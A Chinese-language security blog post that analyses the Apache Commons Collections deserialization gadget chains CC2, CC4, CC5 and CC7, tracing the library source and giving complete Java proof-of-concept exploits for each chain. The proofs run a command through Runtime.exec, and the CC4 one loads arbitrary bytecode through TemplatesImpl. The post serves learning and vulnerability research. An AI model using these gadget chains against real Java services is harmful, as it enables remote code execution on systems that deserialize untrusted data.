CC2,4,5,7反序列化链

commons-collections2反序列化链分析

整体分析

前几天分析了CC1,CC3,CC6,现在来分析一下CC2,CC2个人感觉还是比较简单的,一看就懂,整条链也不怎么长,但是他是的commons-collections版本是4.0。我们首先来看一下ysoserial源码里的Gadgetimage-20220411172715060

他这里中间的链用省略号了,那我们自己来摸索一下吧,我这里先把最终的结果的整条链子发出来

image-20220411172735712

细节分析

这里的话后面还是不分析了,因为他这里最终也是到InvokerTransformer.transform,所以前面那部分依旧不变

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

接下来我们要去寻找调用transform方法的位置,这里找到TransformingComparator的compare方法

image-20220411172747223

这里在compare方法里调用了this.transformer的transform方法,并且构造函数是public,我们只需要传入一个Transformer对象即可,这里传入的Transformer对象其实就是我们对应的chainedTransformer,因为这样的话他就会调用chainedTransformer的transform方法,接下来我们要寻找调用compare方法的位置

这里找到PriorityQueue的siftDownUsingComparator()方法,这里其实是通过PriorityQueue的readObject方法,一步步往下找找到的这个方法

image-20220411172753873

他这里是调用了自身属性comparator的compare方法,我们要想让他去调用TransformingComparator的compare方法,就需要让他的comparator是一个TransformingComparator类的对象,所以到这里已经很明显了,可以直接上手写POC了,这里还有一个点,就是在heapify方法内,需要满足i=(size>>>1)-1,所以传入的size至少得是2,才能走到siftDown

所以我们可以写出来poc

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.PriorityQueue;

public class cc2 {
    public static void main(String[] args)  throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
        PriorityQueue<Object> queue = new PriorityQueue<>(100,transformingComparator);
        queue.add(100);
        queue.add(222);
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

但是这里问题来了,我们用这个poc进行序列化,也会弹出计算器,这就很搞人心态了。按理来说是应该反序列化以后才能弹出计算器,但是他这在序列化前就弹出计算器了,说明提前触发了,这里的话我发现是貌似在add的时候,触发了siftUpUsingComparator方法,siftUpUsingComparator方法里也有comparator.compare,所以在这提前触发了image-20220411172802852

其实解决办法也是比较简单的,就和前面的那条链一样,他提前触发,我只要先放个假的transformer,然后让他触发完再放入真的即可,改进后的poc如下

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2 {
    public static void main(String[] args)  throws Exception{
        Transformer[] faketransformer=new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(faketransformer);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
        PriorityQueue<Object> queue = new PriorityQueue<>(100,transformingComparator);
        queue.add(100);
        queue.add(222);
        Class s=ChainedTransformer.class;
        Field iTransformersField = s.getDeclaredField("iTransformers");
        iTransformersField.setAccessible(true);
        iTransformersField.set(chainedTransformer,transformers);
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

commons-collections4反序列化链分析

在ysoserial的源码中是这样描述的,大概意思是不同于CC2的地方是用InstantiateTransformer替换了InvokerTransformer,InstantiateTransformer都比较熟悉,在CC3中我们曾经使用过。

 * Variation on CommonsCollections2 that uses InstantiateTransformer instead of
 * InvokerTransformer.

所以说,这里其实就是把CC2的poc用加载字节码的方法去修改一下即可,下面直接给出poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
        byte[][] codes= {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer,
        };
        Transformer[] fakeTransformer=new Transformer[]{new ConstantTransformer(1)};
        ChainedTransformer chainedTransformer=new ChainedTransformer(fakeTransformer);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
        PriorityQueue<Object> queue = new PriorityQueue<>(2,transformingComparator);
        queue.add(111);
        queue.add(222);

        Class s=ChainedTransformer.class;
        Field iTransformersField = s.getDeclaredField("iTransformers");
        iTransformersField.setAccessible(true);
        iTransformersField.set(chainedTransformer,transformers);
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

CC2和CC4的区别不同就在于链子末尾不同,起点都是一样的。所以我们只要把之前的InvokerTransformer那部分用InstantiateTransformer替换即可

commons-collections5反序列化链分析

首先还是继续看ysoserial源码,具体调用链如下

	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

可以看到,从LazyMap到结尾已经很熟悉了,我这里就不赘述了,直接开始看剩下的。

这里的话还是需要找到是谁调用了LazyMap的get方法,

在BadAttributeValueExpException的readObject中调用了toString,这里是valObj是获取val属性的值,然后执行valObj.toString,这里的话我们下一步要执行TiedMapEntry.toString,所以让这里的val是一个TiedMapEntry对象即可

image-20220411172812425

转到TiedMapEntry的toString方法,发现他里面是调用了自身的getValue方法

image-20220411172818612

跳转到getValue方法,调用了自身map属性的get方法,这里的话也就一眼能看出来了,我们只要让他的map属性的值是一个LazyMap的的对象,那么这整条链就走得通了

image-20220411172823945

接下来可以直接写poc,在LazyMap.get()之后的内容还是和之前的CC1的写法一样,然后剩余的就是要new一个BadAttributeValueExpException对象,构造函数如下,需要传入一个val值,这里其实是有个小坑,我们后面再说

image-20220411172836248

正常来说我们是要使用BadAttributeValueExpException类的readObject方法作为链子的起点,所以我们应该序列化new出来的BadAttributeValueExpException对象,让他去调用valObj.toString(),但是这里是有个条件,他得jin'ru进入第二个else if,所以我们这里构造方法传入val必须不为空,并且不是一if里面那些类的对象,然后valObj是获得val的值,所以我们这里传入的BadAttributeValueExpException刚好满足条件

image-20220411172844355

根据如上分析,我们需要new一个BadAttributeValueExpException把BadAttributeValueExpException类的对象作为构造函数的参数传入即可,写出POC如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws Exception{
        org.apache.commons.collections.Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap=new HashMap<>();
        Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"1");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

跑一下会发现,在序列化的时候就弹出了计算器,这就有意思了,其实这就是我上面说的那个小坑

image-20220411172852012

我们可以来重新看一下他的构造函数,他这里使用了一个三目运算符,他如果传入val不是空,马上就调用了val.toString方法,这里的话就提前触发了我们的命令执行的功能,所以还是和之前几条链的思路一样,传的时候先传一个null进去,然后再利用反射进行替换即可

image-20220411172858971

最终poc如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws Exception{
        org.apache.commons.collections.Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap=new HashMap<>();
        Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"1");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Class c=BadAttributeValueExpException.class;
        Field valField = c.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

commons-collections7反序列化链分析

终于到cc7了,这条链讲完就是CC系列的完结了,这条链我个人觉得有意思,比前面的几条要难以理解一点,所以先给出poc,根据poc进行分析吧。老规矩先来ysoserial看一下他的调用链吧image-20220411172908745

后面的部分其实还是差不多,调用lazymap的get方法,主要是前面的内容,我们可以首先来看一下Hashtable的序列化的过程,就是看他人writeObject方法

    private void writeObject(java.io.ObjectOutputStream s)
            throws IOException {
        Entry<Object, Object> entryStack = null;

        synchronized (this) {
            // Write out the length, threshold, loadfactor
            s.defaultWriteObject();

            // Write out length, count of elements
            s.writeInt(table.length);
            s.writeInt(count);

            // Stack copies of the entries in the table
            for (int index = 0; index < table.length; index++) {
                Entry<?,?> entry = table[index];

                while (entry != null) {
                    entryStack =
                        new Entry<>(0, entry.key, entry.value, entryStack);
                    entry = entry.next;
                }
            }
        }

        // Write out the key/value objects from the stacked entries
        while (entryStack != null) {
            s.writeObject(entryStack.key);
            s.writeObject(entryStack.value);
            entryStack = entryStack.next;
        }
    }

这里的话他进行序列化,首先写入了table的长度以及table的元素个数,然后取出table中的元素,放入entryStack,这里其实就是栈,然后把栈里面的每个元素用writeObject写入。

我们再来看一下他的反序列化的流程

    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Compute new size with a bit of room 5% to grow but
        // no larger than the original size.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

首先先读取了table数组的容量和元素个数,然后根据origlength和elements算出table的长度,后面就根据length创建table数组,反序列化的时候依次读取每个key和value,用reconstitutionPut方法放入table数组,接下来来看reconstitutionPut方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

首先判断value是否为空,为空抛出异常,然后重写计算了hash和下标,并且判断是否有元素重复,如果不重复的话,会把元素转换成Entry然后放到tab数组里,这里主要是在e.key.equals(key)触发,但是走到这需要两个元素,因为只他要进行比较,一个元素没法进行比较,并且这俩元素的hash也要相同e.key.equals(key)这个函数其实调用了LazyMap的equals,但是LazyMap本身是没有equals这个方法,这个方法来源于他继承的抽象类AbstractMapDecorator

public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

首先先判断了一下是否是同一对象,然后去调用map.equals(object)方法,这里的map其实就是LazyMap通过decorate把HashMap传给了他,所以这里其实是调用了HashMap的equals方法,但是HashMap继承了AbstractMap抽象类,这个抽象类中有equals方法

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

他首先在第一个if判断了是否是同一对象,在第二个if判断运行类型是否不是Map,然后强制转换成Map,然后还得判断Map中元素的个数,然后就是使用迭代器遍历每个元素,获取到每个key和value,如果value不是null,会调用m.get(key),这里m的本质上是LazyMap,所以就成功调用到了LazyMap的get方法啊。

但是有意思的一点是,在ysoserial中最后调用了lazyMap2.remove("yy");这是为什么呢?其实和前面几条链类似,在使用hashtable.put(lazyMap2,2)的时候,lazyMap2会调用AbstractMap抽象类的equals方法,equals内部会调用lazyMap2的get方法判断table中元素key在lazyMap2是否存在,如果不存在会put进去。

image-20220411172917546

在反序列化的时候AbstractMap抽象类的equals会在第三个if判断中会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞

image-20220411172951017

除此之外,要触发这条链,还有一个条件就是构造利用链的时候必须添加两个hash一样的元素,下面来分析一下吧。

public synchronized V put(K key, V value) {
    // Make sure the value is not null
    if (value == null) {
        throw new NullPointerException();
    }

    // Makes sure the key is not already in the hashtable.
    Entry<?,?> tab[] = table;
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    @SuppressWarnings("unchecked")
    Entry<K,V> entry = (Entry<K,V>)tab[index];
    for(; entry != null ; entry = entry.next) {
        if ((entry.hash == hash) && entry.key.equals(key)) {
            V old = entry.value;
            entry.value = value;
            return old;
        }
    }

    addEntry(hash, key, value, index);
    return null;
}

他这要满足entry.hash == hash,hash是通过key.hashcode来赋值的,我们传入的key是一个LazyMap,所以得去找LazyMap的hashcode方法,他本身是没有hashcode方法,但是他继承了AbstractMap类,所以会调用AbstractMap类的hashcode方法。

public int hashCode() {
    int h = 0;
    Iterator<Entry<K,V>> i = entrySet().iterator();
    while (i.hasNext())
        h += i.next().hashCode();
    return h;
}

他这里又通过遍历去调用元素的hashcode方法,其实是Node节点的hashCode方法image-20220411172959162

我们跳到HashMap的内部类Node的hashCode方法来看看

public final int hashCode() {
    return Objects.hashCode(key) ^ Objects.hashCode(value);
}

他是先调用Object类的hashCode方法计算出来一个值,然后再用key和value通过Object类的hashCode方法计算出来的值进行异或运算得到一个新的值,继续根据Objects.hashCode

image-20220411173004870

可以看到,实际上底层调用了字符串“yy”的包装类String的hashCode方法,我们继续跟进到String的hashCode方法,可以看到,第一次算的时候是val[i]是y,ascii是121,h就是121,第二次是y,就是121*31+121也就是3872

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

然后回到Node类中的hashCode方法,进行异或运算得到一个3873新的hash值并返回到AbstractMap类的hashCode方法中,最终lazyMap1的hash值就是3873

lazyMap2也是同理,这里的话yy和zZ都是精心构造的,也可以换成Ea和FB

POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7test {
    public static void main(String[] args) throws Exception {
        Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);
        lazyMap2.remove("yy");
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        serialize(hashtable);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

至此cc链系列就结束了,从开始分析CC1到现在也花了十几天,踩了很多坑,问了不少师傅,但是收获也不错